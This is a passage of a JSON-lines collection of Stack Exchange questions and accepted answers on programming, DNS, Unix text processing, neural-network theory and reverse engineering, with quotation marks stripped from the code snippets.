DocumentApp.FontFamily.COMIC_SANS_MS;var body = doc.getBody();body.setAttributes(docStyle);"  , "title": "Generate a formatted Google document from spreadsheet"  , "tags": "google spreadsheets;google apps script;google documents"  , "accepted_answer": "There are several add-ons for Google Documents and Sheets that already do that. One of them is Autocrat.Some of these add-ons work on merge model: a template and data source.The template holds the formatting, fixed text and placeholders for variable text.The spreadsheet is used as the data source, sometimes it has the menu options to trigger the merge function.ReferencesOverview of add-ons - Docs editors Help"  } 
{  "id": "_cstheory.2880"  , "question": "I have a list of tracks (model railroad tracks) with different length, example: TrackA on 3.0cm, TrackB on 5.0cm, TrackC on 6.5cm, TrackD on 10.5cmThen I want to find out of what kind of track I should put together to get from point A to point B with a given distance and a margin. And I should also be able to a prioritizes the use of track type.Example; Distance from point A to B is 1.7m, and I have lot of TrackC and few of TrackB. And I will allow a margin on +/- 0.5cm to the distance.What kind of tracks should I use, and how many of each track, and how many combination do I have, sorted after the track where I have most of.I have Google after some C# help using genetic algorithm, but I am lost in, how I can implement this in a good method.Or just a mathematical method, that can solve my problem..Please help.."  , "title": "Find the right/best track combination for a given distance, using a genetic algorithm or ?."  , "tags": "ds.algorithms;optimization"  } 
{  "id": "_codereview.18040"  , "question": "explain:from start day till now I've got 7.7 mb size, how long it will be to make it 10 gb sizeopen Systemlet dd = (DateTime.Now - DateTime.Parse(12/09/2012)).Dayslet oneday = 7.7 / Convert.ToDouble(dd)let in10gb = Convert.ToInt32( Math.Round (10.0 * 1024.0 / oneday) )let years = Convert.ToInt32( Math.Round (float in10gb / 365.0) )let mutable months = Convert.ToInt32( Math.Round (float (in10gb - years * 365) / 30.0) )let days =     let d = in10gb - years * 365 - months * 30    if d > 0 then d else month = month - 1; (30 - d)printf %d years %d months %d days years months daysConsole.ReadKey() |> ignoreAlso / 30.0 for months is dirty hack here... I'm not sure how to avoid it in easy way."  , "title": "TimeSpan don't support years so how do I deal with it? Is there could be smarter solution?"  , "tags": "f#"  , "accepted_answer": "I would propose an alternative method of calculating your time, using seconds and DateTimes:open Systemlet startDate = DateTime.Parse (2012-09-12)let now = DateTime.Now;let currentRuntime = (now - startDate).TotalSecondslet timePerGig = currentRuntime / 7.7;let tenDate = startDate + TimeSpan.FromSeconds (10.0 * timePerGig);With that done, you can do whatever you like to represent the final date relative to the current date.An overly simplistic example is as follows:printf %d years %d months %d days (finalDate.Year - now.Year) (finalDate.Month - now.Month) (finalDate.Day - now.Day)Of course, you would have to account for roll-over for days and months in any final piece of code, but it illustrates how you could pull the date parts back out."  } 
{  "id": "_webmaster.44142"  , "question": "I have a client that asked me to move his domains to a new private server, this is my first experience on using private name servers so I am unsure if I am doing something incorrectly.According to what I have read, at my registrar I have to register the private name servers, in this case ns1.vetology.net and ns2.vetology.net which I have done last Wednesday and testing the name servers they are pointing to the correct IPhttp://reports.internic.net/cgi/whois?whois_nic=NS1.VETOLOGY.NET&type=nameserverhttp://reports.internic.net/cgi/whois?whois_nic=NS2.VETOLOGY.NET&type=nameserver So that means that Godaddy did it's job and registered the nameservers, the very same day I pointed a domain which is not in use at the moment.dogcatmri.com to the private nameservers, since them I have been receiving a not found error on some browsers and chrome gives me a Error 137 (net::ERR_NAME_RESOLUTION_FAILED): Unknown error..First I thought well I have to wait for both the private name servers to propagate and then the domain DNS change to propagate but since Wednesday up to today it seems a very long time for me.Note that if I use Google DNS servers 8.8.8.8 the domain resolves, but the domain does not resolve in any other way.So my questions is, does the fact that using Google's dns resolve the domain means that the NS servers are setup correctly and I just have to wait for propagation to complete and it is taking an awful lot of time or there is something not setup right but Google's DNS uses some other sort of domain resolution and there maybe something wrong on my setup?This is some further testing I did, the command was run from the host machine:[root@web ~]# dig dogcatmri.com; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.6 <<>> dogcatmri.com;; global options:  printcmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 60662;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0;; QUESTION SECTION:;dogcatmri.com.                 IN      A;; Query time: 325 msec;; SERVER: 4.2.2.2#53(4.2.2.2);; WHEN: Mon Feb 25 04:27:53 2013;; MSG SIZE  rcvd: 31Edit 1:I am not sure if I am doing something incorrectly but my assumption is that given the following setupdomain.com  domain2.com  server1  server2  So server1 is hosting domain.com properlyserver2 is hosting ns1.domain.com and ns22.domain.comdomain.com has nameservers ns1.domain.com and ns2.domain.comNot moving domain.com to point to ns1.domain.com and ns2.domain.com will cause the other domains not to resolve or the two things are independent?Just to clarify, my reason not to move domain.com at the moment is because domain.com is a live site and I don't want to mess with it unless I am 100% sure the server is responding as expected."  , "title": "Private NS propagation"  , "tags": "dns;nameserver"  , "accepted_answer": "Okay, so I figured out what the problem was, basically I had added all records correctly in both server and registrar, however the fact that I did not point vetology.net to the ns1 and ns2.vetology.net servers was causing the problem, so all I had to do was add A records for ns1.vetology.net, and ns2.vetology.net in the old server to point to the new server and the sites started resolving."  } 
{  "id": "_unix.248837"  , "question": "Very new to regex and have a directory of files that I would like run this regex on but don't know how. help would be great.This is the regex:(?<=#).*"  , "title": "Regex on multiple files"  , "tags": "regular expression"  , "accepted_answer": "The regex pattern (?<=#).* is a zero width positive look-behind pattern that requires PCRE (Perl Compatible Regular Expression) supported grep to be implemented. If your grep supports -P option then you can do it.Seeing the pattern, i think you might also need -o option to get only the matched portion, as (?<=#) makes sure there is a # before the desired portion .*.So you can do recursive grep (-r):grep -rPo '(?<=#).*' /directory"  } 
{  "id": "_softwareengineering.68558"  , "question": "I just read hibernate reference and they say that you should use constans for HQL queries. However that is not always possible, for example if you do search function and have 10 criterias (not jpa criterias, just columns you are searching by). I bet you can do some hacky HQL that is transformed into badly performing SQL, but I feel that is not the best choice.I do know you can use The Criteria API, but its not as powerfull as HQL and some people just don't like it (I'm one of them).How you do it in Yours applications?I mean code like (its just an example!)String hql = from Biuro where ;List parameters = ...if (dateFrom!=null){   hql +=  dateFrom>=? ;   parameters.add(dateFrom);}"  , "title": "Hibernate building HQL queries"  , "tags": "java;hibernate"  } 
{  "id": "_reverseengineering.8100"  , "question": "Looking around for IR's used for reverse engineering, I find quite a few interesting ones. Assuming that I have a function that I'm trying to reverse engineer, I'm considering the following approach.Lift the assembly to an IR, run an optimisation pass on it and convert it back into assembly. How hard would it be to implement something like this? Are there any IRs that you'd recommend. I'm guessing that being able to lift the assembly code into an LLVM IR would be pretty useful and one could run the LLVM optimisation passes on it.Do you have any suggestions on this?"  , "title": "Running an optimization pass on an IR"  , "tags": "program analysis"  } 
{  "id": "_codereview.165680"  , "question": "I'm currently writing an insert function for a linked list. The code works but I would like to know if there is any way I can improve this code and at the same time covering all the special cases.`private class Node{    Node next;    int data;    public Node(int data, Node next){        this.data = data;        this.next = next;    }    public Node(){        this.next = null;        this.data = 0;    }}`public void insert(int data) {    if(first == null || first.item != data){        first = new Node(data, first);    }    else{        Node x = first;        while(x.next != null && x.next.item != data){            x.next = new Node(data, x.next);        }        x = x.next;    }}"  , "title": "Inserting a Node in a singly linked list"  , "tags": "java;linked list"  } 
{  "id": "_unix.102466"  , "question": "I have Ubuntu 13.04 running in a VM in VirtualBox. Originally, I was just trying it out, but now I've started using it a lot, and I have many of my programs and files in it. Is it possible to transfer this to a partition on my hard drive? Also, (this would be much more preferable), is it possible for me to transfer it to a bootable USB?My System: Ubuntu 13.04 64 bit running in VirtualBox Windows 8.1 Pro 64 Bit"  , "title": "Transferring Operating System from VM to Physical System"  , "tags": "ubuntu;virtualbox;bootable"  , "accepted_answer": "The terminology you're looking for is often called physical to virtual or virtual to physical. It's often shortened to P2V and V2P.There's a tutorial on how to do this for VMware and Virtualbox over on the AskUbuntu site. The Q&A is titled: Migrate from a virtual machine (VM) to a physical system.Migrating a Windows GuestI found these instructions for migrating a Windows VM V2P. They're untested by me but seem plausible. The tutorial is titled: V2P Virtual to Physical.This is an easy tutorial on how to take a Windows installation in Virtual Box, or any other Virtual software for that matter, and turn it into a physical machine. This has been tested on Windows XP x86 and x64 as well as Windows Vista,7 X86 and x64.  This tutorial is assuming you have advanced knowledge of installing Windows/Virtual OSes/changing boot settingsetc etc OK? Now lets get started.These are the steps, verbatim.1) First off, make sure you have the machine configured the way you want before making an image of it. This is assuming you are using it to test software or make an image for multiple computers. Install the software you want and the updates you need as well as any antivirus software. An important note when installing software: Do not install the Virtual Machine Add Ons (VirtualBox) or VMware tools (VMWare) as this is almost always likely to cause a bluescreen due to the IDE Controller driver being totally, and not even remotely the same, as a physical IDE controller. 2) Download Macrium Reflect Free Edition. (do a Google search, everyone knows how!) Then install it on your Virtual Machine. Right click on the virtual drive you installed Windows too and right click and choose Create Image of this Disk Some Side notes: I would recommend mapping an external drive as the place of backup for this image. Plug in a USB hard drive or map a network drive in the Virtual Machine settings. (maybe Ill do a tutorial on this). I say an external drive because making a backup on the same drive the virtual machine is running off of could cause the time it takes to copy the backup increase drastically. 3) After the image has been successfully created, restore that image to the hard drive you will be using to install in your physically machine. To do this, right click on the image that Macrium has created and choose Restore Partition. When you go through the steps, one of the options asks you to assign a drive letter. Click Do Not assign a drive letter If you Assign it anything other than C, itll causes issues since thats what your virtual machine drive letter was to being with. You cant assign it C:/ anyways because the computer you are on most like has that drive letter taken already. The other option to look out for is when it asks if you want to restore the MBR with a default one. ALWAYS choose to restore the MBR with the one from the backup.4) After that has completed successfully, go into Windows Disk management in Windows and right click the drive you just restored the image too as Active. This will tell the BIOS of the machine you are placing this drive in that it has a bootable partition on it. If you dont set it to active, the BIOS will tell you that there is no boot device available.5) Go ahead and put the hard drive in the computer you wish to boot it from. Make sure all the plugs are in the proper place and IDE is configured properly (AKA Master and Slave jumpers if on IDE)6) Next step, before you even turn on the computer, is to pop in your windows CD. Whether is be Windows XP or Windows Vista/7. Always remember to use the right version of the architecture that corresponds to the one you used when installed in a virtual machine. I.E. if you installed Windows 7 x86 then use a Windows 7 x86 USB/DVD for the next step.7)  Boot from the proper DVD/CD and choose Repair your Computerand choose Command Prompt (Both Windows XP an Vista/7)8) now type bootrec /fixboot9) Restart your laptop/desktop and windows should start booting up!"  } 
{  "id": "_reverseengineering.16012"  , "question": "Below is a part of a code that I reversed with repy2exe and I want to understand what it does and especially how to decode the value in the secret variable:using = [    'Mg==\\n',    'MTA1\\n',    'Nzg=\\n',    'ODI=\\n',    'NzM=\\n',    'Njg=\\n',    'Nzk=\\n',    'OTg=\\n',    'ODg=\\n',    'Njc=\\n',    'Njg=\\n',    'ODM=\\n',    'MTk=\\n',    'MTc=\\n',    'MTY=\\n',    'MjI=\\n']secret = 'BZh91AY&SY\\xf2\\xbfIg\\x00\\x00\\x01\\x89\\x80\\x05\\x002\\x00\\x08\\x00 \\x00!\\x80\\x0c\\x01[6\\xe2\\xeeH\\xa7\\n\\x12\\x1eW\\xe9,\\xe0'pas = raw_input('Please Enter The Password:')a = ''for i in range(len(pas)):    a += pas[i]coun = 0win = 16 "  , "title": "Can anyone help me identify and decode this string?"  , "tags": "disassembly;binary analysis;python;entropy"  , "accepted_answer": "Although the code is clearly incomplete, some things can be guessed:1) The strings ending with == are most likely base64-encoded (Base64 uses = for padding). Let's try to decode them.>>>x = [a.decode('base64') for a in using]'2', '105', '78', '82', '73', '68', '79', '98', '88', '67', '68', '83', '19', '17', '16', '22']So they decode to string representations of some numbers. Not sure if this means anything, we need to see how they're used.2) The BZ sequence hints at Bzip2. We can try to decompress it as such:>>> import bz2>>> bz2.decompress(secret)'base64'And we're back to square one."  } 
{  "id": "_codereview.128741"  , "question": "I have a winforms app and I've been using the following approach to update controls on the main form from worker threads:GamepadManager class has:public static event EventHandler OnGamepadConnected;Main app class has:GamepadManager.OnGamepadConnected += OnGamepadConnected;private void OnGamepadConnected(){    Invoke((Action)(() => { gamepadStatusLabel.Text = Connected; }));}That looks kinda bad, but without the Invoke thing I get a cross-thread operation exception because I can't update controls from worker threads (from where the call comes from).Is there a way to reduce the number of parentheses used? Maybe there's a whole other, better way to do this?Previously I've been using timers to check for every small thing like that, which ran on GUI thread (apparently?) and there was no trouble simply calling controlName.Text = something; without all the Invoke() stuff. But that means even more code and more processing cost due to constant checks."  , "title": "Improving GUI update call from a worker thread in winforms"  , "tags": "c#;multithreading;winforms;gui"  } 
{  "id": "_unix.274648"  , "question": "I've installed Terminator from the homebrew/gui tap, but when I ran it, it raised this error:You need to install the python bindings for gobject, gtk and pango to run Terminator.I edited /usr/local/bin/terminator (it's just Python) to display the error message, and I got this:dlopen(/usr/local/lib/python2.7/site-packages/glib/_glib.so, 2): Library not loaded: /usr/local/lib/libgobject-2.0.0.dylib  Referenced from: /usr/local/lib/python2.7/site-packages/glib/_glib.so  Reason: Incompatible library version: _glib.so requires version 4401.0.0 or later, but libgobject-2.0.0.dylib provides version 3401.0.0The fact that this is showing up does not surprise me, as I've had a similar error with pretty much every Python program that uses GTK.Let me know if I should ask on Ask Different instead."  , "title": "Terminator installed via Homebrew Incompatible library version"  , "tags": "osx;python;gtk"  } 
{  "id": "_cstheory.17545"  , "question": "I posted this earlier on MSE, but it was suggested that here may be a better place to ask.Universal approximation theorem states that the standard multilayer feed-forward network with a single hidden layer, which contains finite number of hidden neurons, is a universal approximator among continuous functions on compact subsets of Rn, under mild assumptions on the activation function.I understand what this means, but the relevant papers are too far over my level of math understanding to grasp why it is true or how a hidden layer approximates non-linear functions.So, in terms little more advanced than basic calculus and linear algebra, how does a feed-forward network with one hidden layer approximate non-linear functions? The answer need not necessarily be totally concrete."  , "title": "Universal Approximation Theorem  Neural Networks"  , "tags": "approximation algorithms;ne.neural evol;na.numerical analysis"  , "accepted_answer": "Cybenko's result is fairly intuitive, as I hope to convey below; what makes things more tricky is he was aiming both for generality, as well as a minimal number of hidden layers.  Kolmogorov's result (mentioned by vzn) in fact achieves a stronger guarantee, but is somewhat less relevant to machine learning (in particular, it does not build a standard neural net, since the nodes are heterogeneous); this result in turn is daunting since on the surface it is just 3 pages  recording some limits and continuous functions, but in reality it is constructing a set of fractals.  While Cybenko's result is unusual and very interesting due to the exact techniques he uses, results of that flavor are very widely used in machine learning (and I can point you to others).Here is a high-level summary of why Cybenko's result should hold.A continuous function on a compact set can be approximated by a piecewise constant function.A piecewise constant function can be represented as a neural net as follows.  For each region where the function is constant, use a neural net as an indicator function for that region.  Then build a final layer with a single node, whose input linear combination is the sum of all the indicators, with a weight equal to the constant value of the corresponding region in the original piecewise constant function.Regarding the first point above, this can be taken as the statement a continuous function over a compact set is uniformly continuous.  What this means to us is you can take your continuous function over $[0,1]^d$, and some target error $\\epsilon>0$, then you can grid $[0,1]^d$ at scale $\\tau>0$ (ending up with roughly $(1/\\tau)^d$ subcubes) so that a function which is constant over each subcube is within $\\epsilon$ of the target function.Now, a neural net can not precisely represent an indicator, but you can get very close.  Suppose the transfer function is a sigmoid.  (Transfer function is the continuous function you apply to a linear combination of inputs in order to get the value of the neural net node.)  Then by making the weights huge, you output something close to 0 or close to 1 for more inputs.  This is consistent with Cybenko's development: notice he needs the functions involved to equal 0 or 1 in the limit: by definition of limit, you get exactly what I'm saying, meaning you push things arbitrarily close to 0 or 1.(I ignored the transfer function in the final layer; if it's there, and it's continuous, then we can fit anything mapping to $[0,1]$ by replacing the constant weights with the something in the inverse image of that constant according to the transfer function.)Notice that the above may seem to take a couple layers: say, 2 to build the indicators on cubes, and then a final output layer.  Cybenko was trying for two points of generality: minimal number of hidden layers, and flexibility in the choice of transfer function.  I've already described how he works out flexibility in transfer function.To get the minimum number of layers, he avoids the construction above, and instead uses functional analysis to develop a contradiction.Here's a sketch of the argument.The final node computes a linear combination of the elements of the layer below it, and applies a transfer function to it.  This linear combination  is a linear combination of functions, and as such, is itself a function, a function within some subspace of functions, spanned by the possible nodes in the hidden layer.A subspace of functions is just like an ordinary finite-dimensional subspace, with the main difference that it is potentially not a closed set; that's why cybenko's arguments all take the closure of that subspace.  We are trying to prove that this closure contains all continuous functions; that will mean we are arbitrarily close to all continuous functions.If the function space were simple (a Hilbert space), we could argue as follows.  Pick some target continuous function which is contradictorily supposed to not lie in the subspace, and project it onto the orthogonal complement of the subspace.  This residual must be nonzero.  But since our subspace can represent things like those little cubes above, we can find some region of this residual, fit a little cube to it (as above), and thereby move closer to our target function.  This is a contradiction since projections choose minimal elements.  (Note, I am leaving something out here: Cybenko's argument doesn't build any little cubes, he handles this in generality too; this is where he uses a form of the Riesz representation theorem, and properties of the transfer functions (if I remember correctly, there is a separate lemma for this step, and it is longer than the main theorem).) We aren't in a Hilbert space, but we can use the Hahn-Banach theorem to replace the projection step above (note, proving Hahn-Banach uses the axiom of choice).Now I'd like to say a few things about Kolmogorov's result.  While this result does not apparently need the sort of background of Cybenko's, I personally think it is much more intimidating.Here is why.  Cybenko's result is an approximation guarantee: it does not say we can exactly represent anything.  On the other hand, Kolmogorov's result is provides an equality.  More ridiculously, it says the size of the net: you need just $\\mathcal O(d^2)$ nodes.  To achieve this strengthening, there is a catch of course, the one I mentioned above: the network is heteregeneous, by which I mean all the transfer functions are not the same.Okay, so with all that, how can this thing possible work?!Let's go back to our cubes above.  Notice that we had to bake in a level of precision: for every $\\epsilon>0$, we have to go back and pick a more refined $\\tau >0$.  Since we are working with (finite) linear combinations of indicators, we are never exactly representing anything.  (things only get worse if you include the approximating effects of sigmoids.)So what's the solution?  Well, how about we handle all scales simultaneously?  I'm not making this up: Kolmogorov's proof is effectively constructing the hidden layer as a set of fractals.  Said another way, they are basically space filling curves which map $[0,1]$ to $[0,1]^d$; this way, even though we have a combination of univariate functions, we can fit any multivariate function.  In fact, you can heuristically reason that $\\mathcal O(d^2)$ is correct via a ridiculous counting argument: we are writing a continuous function from $\\mathbb{R}^d$ to $\\mathbb R$ via univariate continuous functions, and therefore, to capture all inter-coordinate interactions, we need $\\mathcal O(d^2)$ functions...Note that Cybenko's result, due to using only one type of transfer function, is more relevant to machine learning.  Theorems of this type are very common in machine learning (vzn suggested this in his answer, however he referred to Kolmogorov's result, which is less applicable due to the custom transfer functions; this is weakened in some more fancy versions of Kolmogorov's result (produced by other authors), but those still involve fractals, and at least two transfer functions).I have some slides on these topics, which I could post if you are interested (hopefully less rambly than the above, and have some pictures; I wrote them before I was adept with Hahn-Banach, however).  I think both proofs are very, very nice.  (Also, I have another answer here on these topics, but I wrote it before I had grokked Kolmogorov's result.)"  } 
{  "id": "_softwareengineering.53282"  , "question": "Every time I've finished a project, there is always something that I've learned (otherwise I don't find it very motivating). But I can't remember everything, and much later I may stumble across the same problem that I encountered in a previous project but no longer how I solved it (or at least what attempts I made).So would it be a good idea to write this down in a journal of some sort? I know that writing stuff down feels like writing documentation (which not everyone enjoys doing), and hope our memory to serve us when needed. But having it documented, it could be shared with other programmers and learn what lessons they learned.So, what do you think?"  , "title": "Should every programmer keep a Lessons Learned journal?"  , "tags": "experience;documentation;journal"  } 
{  "id": "_softwareengineering.159007"  , "question": "In a EF 4.1 Code First tutorial the following code is given:public class Department{    public int DepartmentId { get; set; }    [Required]    public string Name { get; set; }    public virtual ICollection<Collaborator> Collaborators { get; set; }}Then it is explained that the fluent interface is more flexible: Data Annotations are definitely easy to use but it  is preferable to  use a programmatic approach that provides much more flexibility.The example of using the fluent interface is then given:protected override void OnModelCreating(ModelBuilder modelBuilder){    modelBuilder.Entity<Department>().Property(dp => dp.Name).IsRequired();    modelBuilder.Entity<Manager>().HasKey(ma => ma.ManagerCode);    modelBuilder.Entity<Manager>().Property(ma => ma.Name)        .IsConcurrencyToken(true)        .IsVariableLength()        .HasMaxLength(20);}I can't understand why the fluent interface is supposedly better. Is it really? From my perspective it looks like the data annotations are more clear, and have more of a clean semantic feel to it.My question is why would a fluent interface be a better option than using attributes, especially in this case?(Note: I'm quite new to the whole concept of fluent interfaces, so please expect no prior knowledge on this.)Reference: http://codefirst.codeplex.com/ "  , "title": "Are fluent interfaces more flexible than attributes and why?"  , "tags": "c#;coding style"  , "accepted_answer": "Data annotations are static, for instance this method declaration cannot change at runtime:  [MinLength(5)]  [MaxLength(20,ErrorMessage=Le nom ne peut pas avoir plus de 20 caractres)]  public new string Name { get; set; }The fluent interface can be dynamic:   if (longNamesEnabled)   {      modelBuilder.Entity<Manager>().Property(ma => ma.Name)        .HasMaxLength(100);   }   else   {      modelBuilder.Entity<Manager>().Property(ma => ma.Name)        .HasMaxLength(20);   }not to mention the code can be reused between properties."  } 
{  "id": "_ai.3442"  , "question": "I might be wrong, but if we have well designed A.I. then why won't the USA government allow it to be witnessed in the public."  , "title": "Why is it illegal for google's autonomous car to drive on the road by itself?"  , "tags": "google"  , "accepted_answer": "Good question, however, it is based on a false fact. In Michigan, it is currently legal (under certain conditions described here ) for an autonomous car to operate without a driver. The reason that the federal government has not enacted any direct legislation (although they have enacted guidelines) on autonomous cars is because it is still a developing technology (as great as those Cruise videos look, I wouldn't trust most companies working on the technology to have driverless cars on the road without operators) and that it arguably falls under the state governments jurisdictions. Some companies have appealed to the House to pass national legislation to allow autonomous testing (GM,Toyota,Lyft), but nothing has come of it yet."  } 
{  "id": "_scicomp.5591"  , "question": "I have the following algorithm given:Input: Regular Matrix $A \\in \\mathbb R^{n,n}$Output: LU-Decomposition of  A = LUfor k = 1, . . . , n dofor j = k, . . . , n do$r_{kj} = a_{kj}  \\sum_{i=1}^{k-1} l_{ki}r_{ij}$ end forfor i = k + 1, . . . , n do$l_{ik} = (a_{ik}  \\sum_{j=1}^{k-1} l_{ij}r_{jk})/r_{kk}$ end forend forGiven every elementary operation (+,-,*,/) has the cost 1, how can it be derived that the complexity of this algorithm is 2/3n^3 - 1/2n^2 - 1/6n? I am really interested in understanding how such a closed formulae for the complexity is derived."  , "title": "How to calculate the complexity of a given Algorithm"  , "tags": "algorithms;complexity"  } 
{  "id": "_unix.290405"  , "question": "One part of /usr/share/X11/xkb/symbols/us starts with xkb_symbols dvorak { and ends with the closing curly bracket }; which line-number I want to find. partial alphanumeric_keysxkb_symbols dvorak {    name[Group1]= English (Dvorak);    key <TLDE> { [       grave, asciitilde, dead_grave, dead_tilde      ] };    key <AE01> { [          1,  exclam          ]       };    key <AE02> { [          2,  at              ]       };    key <AE03> { [          3,  numbersign      ]       };    key <AE04> { [          4,  dollar          ]       };    key <AE05> { [          5,  percent         ]       };    key <AE06> { [          6,  asciicircum, dead_circumflex, dead_circumflex ] };    key <AE07> { [          7,  ampersand       ]       };    key <AE08> { [          8,  asterisk        ]       };    key <AE09> { [          9,  parenleft,  dead_grave] };    key <AE10> { [          0,  parenright      ]       };    key <AE11> { [ bracketleft, braceleft       ]       };    key <AE12> { [ bracketright, braceright,  dead_tilde] };    key <AD01> { [  apostrophe, quotedbl, dead_acute, dead_diaeresis    ] };    key <AD02> { [      comma,  less,   dead_cedilla, dead_caron        ] };    key <AD03> { [      period, greater, dead_abovedot, periodcentered  ] };    key <AD04> { [          p,  P               ]       };    key <AD05> { [          y,  Y               ]       };    key <AD06> { [          f,  F               ]       };    key <AD07> { [          g,  G               ]       };    key <AD08> { [          c,  C               ]       };    key <AD09> { [          r,  R               ]       };    key <AD10> { [          l,  L               ]       };    key <AD11> { [      slash,  question        ]       };    key <AD12> { [      equal,  plus            ]       };    key <AC01> { [          a,  A, adiaeresis, Adiaeresis ]     };    key <AC02> { [          o,  O               ]       };    key <AC03> { [          e,  E               ]       };    key <AC04> { [          u,  U               ]       };    key <AC05> { [          i,  I               ]       };    key <AC06> { [          d,  D               ]       };    key <AC07> { [          h,  H               ]       };    key <AC08> { [          t,  T               ]       };    key <AC09> { [          n,  N               ]       };    key <AC10> { [          s,  S               ]       };    key <AC11> { [      minus,  underscore      ]       };    key <AB01> { [   semicolon, colon, dead_ogonek, dead_doubleacute ] };    key <AB02> { [          q,  Q               ]       };    key <AB03> { [          j,  J               ]       };    key <AB04> { [          k,  K               ]       };    key <AB05> { [          x,  X               ]       };    key <AB06> { [          b,  B               ]       };    key <AB07> { [          m,  M               ]       };    key <AB08> { [          w,  W               ]       };    key <AB09> { [          v,  V               ]       };    key <AB10> { [          z,  Z               ]       };    key <BKSL> { [  backslash,  bar             ]       };};I can find the start of the environment which returns 192grep -n 'xkb_symbols dvorak' /usr/share/X11/xkb/symbols/us | cut -d : -f1 > /tmp/lineNumberStartEnvironmentI do but blank output# http://unix.stackexchange.com/a/147664/16920grep -zPo 'pin\\(ABC\\) (\\{([^{}]++|(?1))*\\})' /usr/share/X11/xkb/symbols/usPseudocodeGo first to the linenumber given by file /tmp/lineNumberStartEnvironment. Find the closing bracket of the thing located at the line of /tmp/lineNumberStartEnvironment. do this with the data content in the body but also with the complete file /usr/share/X11/xkb/symbols/usAttempt for heredoc until next line [cas, Kusalananda]I do where I do not know what I should put to the deliminator; -n returns blank toosed -n -f - /usr/share/X11/xkb/symbols/us <<END_SED | cut -f1/xkb_symbols dvorak {/,/^};/{        /xkb_symbols dvorak {/=        /^};/=}END_SEDbut blank output. Systems: Ubuntu 16.04Grep: 2.25    "  , "title": "grep: How to find Closing Bracket?"  , "tags": "text processing;awk;sed;grep"  , "accepted_answer": "This sed script prints the line number of the line matching /^};/ in the range of lines from /xkb_symbols dvorak {/ to the next /^};/ (which will be the same }; as the one we get the line number for):/xkb_symbols dvorak {/,/^};/{        /^};/=}If you need both start and end line numbers:/xkb_symbols dvorak {/,/^};/{        /xkb_symbols dvorak {/=        /^};/=}$ sed -n -f tiny_script.sed /usr/share/X11/xkb/symbols/us192248Alternatively:$ sed -n -f - /usr/share/X11/xkb/symbols/us <<END_SED/xkb_symbols dvorak {/,/^};/{        /xkb_symbols dvorak {/=        /^};/=}END_SEDEDIT: To get these two numbers in a variable, assuming you're using Bash:pos=( $( sed -n -f - /usr/share/X11/xkb/symbols/us <<END_SED        /xkb_symbols dvorak {/,/^};/{                /xkb_symbols dvorak {/=                /^};/=        }END_SED) )echo start =  ${pos[0]}echo end   =  ${pos[1]}Also, hi! Another Dvorak user!"  } 
{  "id": "_codereview.165499"  , "question": "This C program implements a so-called natural merge sort that identifies existing runs in the list and exploits them in order to sort in sub-linearithmic time whenever possible. The running time of this sort is \\$\\Theta(n \\log m)\\$, where \\$n\\$ is the length of the list and \\$m\\$ is the number of ordered runs (ascending or descending sublists). Since \\$m\\$ is at most \\$\\lceil n / 2 \\rceil\\$, this runs in worst-case linearithmic time. Here we go:linked_list.h#ifndef LINKED_LIST_H#define LINKED_LIST_H#include <stdlib.h>typedef struct linked_list_node_t {    int value;    struct linked_list_node_t* next;} linked_list_node_t;typedef struct {    linked_list_node_t* head;    linked_list_node_t* tail;    size_t size;} linked_list_t;void linked_list_init(linked_list_t* list);void linked_list_append(linked_list_t* list, int value);void linked_list_sort(linked_list_t* list);int  linked_list_is_sorted(linked_list_t* list);void linked_list_display(linked_list_t* list);#endif /* LINKED_LIST_H */linked_list.c#include linked_list.h#include <stdlib.h>#include <stdio.h>void linked_list_init(linked_list_t* list){    list->head = NULL;    list->tail = NULL;}void linked_list_append(linked_list_t* list, int value){    linked_list_node_t* node = malloc(sizeof *node);    node->value = value;    node->next = NULL;    if (list->head)    {        list->tail->next = node;        list->tail = node;    }    else    {        list->head = node;        list->tail = node;    }    list->size++;}int linked_list_is_sorted(linked_list_t* list){    linked_list_node_t* node1;    linked_list_node_t* node2;    if (list->size < 2)    {        return 1;    }    node1 = list->head;    node2 = node1->next;    while (node2)    {        if (node1->value > node2->value)        {            return 0;        }        node1 = node2;        node2 = node2->next;    }    return 1;}void linked_list_display(linked_list_t* list){    char* separator = ;    for (linked_list_node_t* node = list->head; node; node = node->next)    {        printf(%s%d, separator, node->value);        separator = , ;    }}static linked_list_node_t* reverse(linked_list_node_t* head){    linked_list_node_t* new_head = head;    linked_list_node_t* tmp_head;    tmp_head = head;    head = head->next;    tmp_head->next = NULL;    while (head)    {        tmp_head = head;        head = head->next;        tmp_head->next = new_head;        new_head = tmp_head;    }    return new_head;}static linked_list_node_t* merge(linked_list_node_t* left_list,                                 linked_list_node_t* right_list){    linked_list_node_t* merged_head = NULL;    linked_list_node_t* merged_tail = NULL;    linked_list_node_t* tmp_node;    if (left_list->value < right_list->value)    {        merged_head = left_list;        merged_tail = left_list;        left_list = left_list->next;    }    else    {        merged_head = right_list;        merged_tail = right_list;        right_list = right_list->next;    }    while (left_list && right_list)    {        if (left_list->value < right_list->value)        {            tmp_node = left_list;            left_list = left_list->next;            merged_tail->next = tmp_node;            merged_tail = tmp_node;        }        else        {            tmp_node = right_list;            right_list = right_list->next;            merged_tail->next = tmp_node;            merged_tail = tmp_node;        }    }    // Add the rest to the merged list:    if (left_list)    {        merged_tail->next = left_list;    }    else    {        merged_tail->next = right_list;    }    return merged_head;}typedef struct {    linked_list_node_t** run_length_array;    size_t head_index;    size_t tail_index;    size_t size;    size_t capacity;} run_list_t;static void run_list_enqueue(run_list_t* run_list, linked_list_node_t* run_head){    run_list->run_length_array[run_list->tail_index] = run_head;    run_list->tail_index = (run_list->tail_index + 1) % run_list->capacity;    run_list->size++;}static linked_list_node_t*scan_ascending_run(run_list_t* run_list,                   linked_list_node_t* run_start_node){    linked_list_node_t* node1 = run_start_node;    linked_list_node_t* probe;    linked_list_node_t* before_probe = NULL;    int last_read_integer = run_start_node->value;    probe = node1->next;    while (probe && last_read_integer <= probe->value)    {        last_read_integer = probe->value;        before_probe = probe;        probe = probe->next;    }    if (probe)    {        if (before_probe)        {            before_probe->next = NULL;        }    }    run_list_enqueue(run_list, run_start_node);    return probe;}static linked_list_node_t*scan_descending_run(run_list_t* run_list,                    linked_list_node_t* run_start_node){    linked_list_node_t* node1 = run_start_node;    linked_list_node_t* probe;    linked_list_node_t* before_probe = NULL;    int last_read_integer = run_start_node->value;    probe = node1->next;    while (probe && last_read_integer >= probe->value)    {        last_read_integer = probe->value;        before_probe = 